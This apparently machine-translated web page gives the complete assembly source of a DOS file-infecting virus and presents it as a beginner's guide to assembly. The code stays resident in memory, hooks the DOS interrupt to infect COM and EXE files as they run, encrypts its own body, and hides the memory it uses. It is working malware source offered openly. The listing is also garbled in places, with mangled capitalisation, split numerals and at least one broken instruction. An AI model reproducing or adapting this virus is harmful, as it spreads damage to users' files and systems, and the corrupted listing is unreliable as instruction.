A virus written in assembly language (source code)
This virus is relatively simple. However, Sparrow is small and dirty. Hidden, infected, encrypted, and other modules (but not damaged) are a standard DOS virus that can infect executable files of. EXE (excluding PE) and. COM.
If you want to learn assembly language, it is more appropriate to use this program as an entry guide.
The infected file will be marked with "CR". Let's call it "CR.
Baseoff equ 107 h
Code segment
Assume cs: code, ds: code, es: code, ss: code
Org 100 h
Main:
Mov ax, offset begin
Jmp ax
Db 'cr'
Begin:
Push es
Push ds
Mov ax, cs
Mov ds, ax
Mov es, ax
Call get_ip
Push ax
Mov ax, offset encodebegin
Jmp short get_ip_end
Oldhead db 0 h, 4ch, 0cdh, 21 h, 6 dup (?)
Get_ip label near
Mov bp, sp
Mov bx, [bp]
Ret
Get_ip_end:
Sub bx, 112 h; get current offset
Add ax, bx
Push ax
Pop di
Mov si, di
Cld
Mov cx, offset endtag-offset encodebegin
Mov dl, byte ptr [oldhead + bx]
Push si
Decode:
Lodsb
Xor al, dl
Stosb; decode at runtime
Loop decode
Retf; retf cs: ip = encodebegin
Db 62 h
Db 65 h
Encodebegin:
Mov ax, 9f80h
Mov es, ax
Cmp es: word ptr [virustag-baseoff], 7263 h
Jz alreadyresident
Push ds
Mov ax, 40 h
Mov ds, ax
Mov di, 13 h; get free memory
Sub word ptr [di], 2
Pop ds
Mov di, 0
Mov si, bx
Add si, baseoff
Mov cx and 2048
Cld
Rep movsb; resident in memory
Nop
Push bx
Mov ax, 9f80h
Mov ds, ax
Mov ax, 3521 h
Int 21 h
Mov ds: word ptr [oldint21-baseoff], bx
Mov dx, bx
Mov ds: word ptr [oldint21-baseoff + 2 h], es
Mov dx, offset newint21proc-baseoff
Mov ax, 2521 h
Int 21 h
Mov dx, offset newint12proc-baseoff
Mov ax, 2512 h
Int 21 h
Pop bx
Alreadyresident:
Mov ax, cs
Mov ds, ax
Mov es, ax
Mov si, offset oldhead
Add si, bx
Mov di, 0100 h
Cmp cs: word ptr oldhead [bx], 6163 h; this is an infected EXE file
Jz GotoExe
Cld
Mov cx, 7
Rep movsb
Pop DS
Pop es
CMP Cs: Word PTR oldhead [BX], 4c00h
JZ go_out
Gotooldhead:; this is an infected COM file
MoV ax, 0100 H
JMP ax
Gotoexe:
Pop DS
Pop es
MoV ax, DS
Add ax, CS: ini_ss [BX]; set old SS
Add ax, 10 h
MoV SS, ax
MoV ax, CS: ini_sp [BX]; set old SP
MoV sp, ax
MoV ax, DS
Add ax, 10 h
Add Cs: ini_cs [BX], ax; set old CS
JMP Cs: dword ptr ini_ip [BX]; jump to the normal exe
Go_out:
MoV ah, 4ch
Int 21 h
Oldint21 DW 2 DUP (?)
Filehead dB 18 h DUP (?)
Filesize DW 2 DUP (?)
Virustag dB 'cr'
Infecthead:
Mov ax, offset begin
Jmp ax
Db 'cr'
Temp dw?
Ini_ip dw?
Ini_cs dw?
Ini_ss dw?
Ini_sp dw?
Newint21proc:
Cmp ah, 4bh
Jz tryinfect
Jmp int21h
Tryinfect:
Push ax; begin to infect
Push cx
Push es
Push di
Push bx
Push dx
Push ds
Mov ax, 3d02h
Int 21 h
Jnc openok
Jmp notinfect; open fail? Not infect
Openok:
Push ds
Push dx
Push cs
Pop ds
Mov dx, offset filehead-baseoff
Mov bx, ax
Mov cx, 18 h
Mov ah, 3fh
Int 21 h
Pop dx
Pop ds
Jc closefilenear; read fail? Not infect
Mov di, offset filehead-baseoff
Mov ax, 9f80h
Mov es, ax
Cmp word ptr es: [di], 5a4dh; 'mz' in head? EXE file...
Jnz COM_infect
Jmp EXE_infect
COM_infect:
Cmp word ptr es: [di + 5], 7263 h; 'cr 'in 105 h? Not infect
Jz closefilenear
Call getfilesize
Cmp dx, 0
Jnz closefilenear; file is too big .. not infect
Cmp ax, 63000
Ja closefilenear; file is too big .. not infect
Cmp ax, 10
Jb closefilenear; file is too small .. not infect
; Infect begin, hahahahaha ....
Jmp infectbegin
Closefilenear:
Jmp closefile
Infectbegin:
MoV ax, 9f80h
MoV ds, ax
MoV es, ax
MoV Si, offset filehead-baseoff
MoV Di, offset oldhead-baseoff
MoV CX, 10
ClD
Rep movsb; Save the old file head
Call addvirustofile
Call mov_ptr_to_head
MoV Di, offset infecthead-baseoff
MoV dx, Di
INC di
MoV CX, word PTR [filesize-baseoff]
Add CX, 100 h
MoV word PTR [di], CX
MoV CX, 7
MoV ah, 40 h
Int 21 h
Closefile:
MoV ah, 3eh
Int 21 h; close the file
Notinfect:
Pop DS
Pop DX
Pop BX
Pop di
Pop es
Pop CX
Pop ax
Int21h: jmp dword ptr Cs: [oldint21-baseoff]
Getfilesize proc near
MoV ax, 4202 H
Xor cx, CX
XOR dx, DX
Int 21 h
JC closefile
MoV ES: Word PTR [filesize-baseoff], ax
MoV ES: Word PTR [filesize-baseoff + 2], DX; save the file size
RET
Getfilesize endp
Addvirustofile proc near
XOR dx, DX
MoV ah, 40 h
MoV CX, offset encodebegin-offset begin
Int 21 h
JC closefile; write fail... not infect
CMP ax, CX
JB closefile; write fail... not infect
MoV CX, (offset endtag-offset encodebegin)/2 + (offset endtag-offset encodebegin) mod 2
MoV DL, byte PTR oldhead-baseoff
MoV DH, DL
MoV Di, DX
Mov si, offset encodebegin-baseoff
Mov dx, offset temp-baseoff
Encode_myself:
Push cx
Lodsw
Xor ax, di; encode and then write into file
Mov temp-baseoff, ax
Mov ah, 40 h
Mov cx, 2
Int 21 h
Jc closefile; write fail... not infect
Cmp ax, cx
Jb closefile; write fail... not infect
Pop cx
Loop encode_myself
Ret
Addvirustofile endp
Mov_ptr_to_head proc near
Mov ax, 4200 h
Xor cx, cx
Xor dx, dx
Int 21 h
Jc closefile
Ret
Mov_ptr_to_head endp
EXE_infect proc near
Mov ax, es: word ptr [di + 2]; exe size in the last sector
Mov dx, es: word ptr [di + 4]; total sectors of exe size
Push di
Dec dx
Mov cx, 9
Xor si, si
Get_size_in_head:
Shl dx, 1
Shl si, 1
Adc si, 0
Loop get_size_in_head
Add dx, ax
Adc si, 0
Mov di, dx
Call getfilesize; get the exe file size
Cmp dx, si
Jnz exe_end_near; not equal (file size and loading size)
Cmp dx, 0fh; not infect
Ja exe_end_near
Cmp ax, di
Pop di
Jnz exe_end_near
Jmp begininfectexe
Exe_end_near:
Jmp exe_end
; Begin to infect exe
Begininfectexe:
Mov ax, writesize + 10
Mov cl, 9
Add ax, ES: Word PTR [di + 2]; add EXE loading size
MoV Si, ax
And ax, 1ffh
MoV ES: Word PTR [di + 2], ax
SHR Si, Cl
Add ES: Word PTR [di + 4], Si
Push es
Pop DS
MoV word PTR [oldhead-baseoff], 6163 h; write EXE's tag
MoV ax, [di + 14 H]
MoV [ini_ip-baseoff], ax
MoV ax, [di + 16 h]
MoV [ini_cs-baseoff], ax
MoV ax, [di + 10 h]
MoV [ini_sp-baseoff], ax
MoV ax, [di + 0eh]
MoV [ini_ss-baseoff], ax; Save the old SS, SP, Cs, IP
Push di
Call addvirustofile
Pop di
Call mov_ptr_to_head
MoV ax, filesize-baseoff
MoV dx, [di + 08 h]
MoV cl, 4
SHL dx, Cl; dx = EXE header size
Sub ax, DX
Push ax
And ax, 0fh
Mov [di + 14 h], ax; modify sp, ip
Mov [di + 10 h], writesize + 50
Add word ptr [di + 0ah], writesize/16 + 1; add the memory needed
Pop ax
Mov dx, filesize + 2-baseoff
Mov cl, 4
Modify_cs:
Shr dx, 1
Rcr ax, 1
Loop modify_cs
Mov [di + 16 h], ax
Mov [di + 0eh], ax; modify cs and ss
Mov dx, di
Mov cx, 18 h
Mov ah, 40 h
Int 21 h
Exe_end:
Jmp closefile
EXE_infect endp
Newint12proc:
Mov ax, 640
Iret
Writesize equ $-begin
Endtag:
Code ends
End main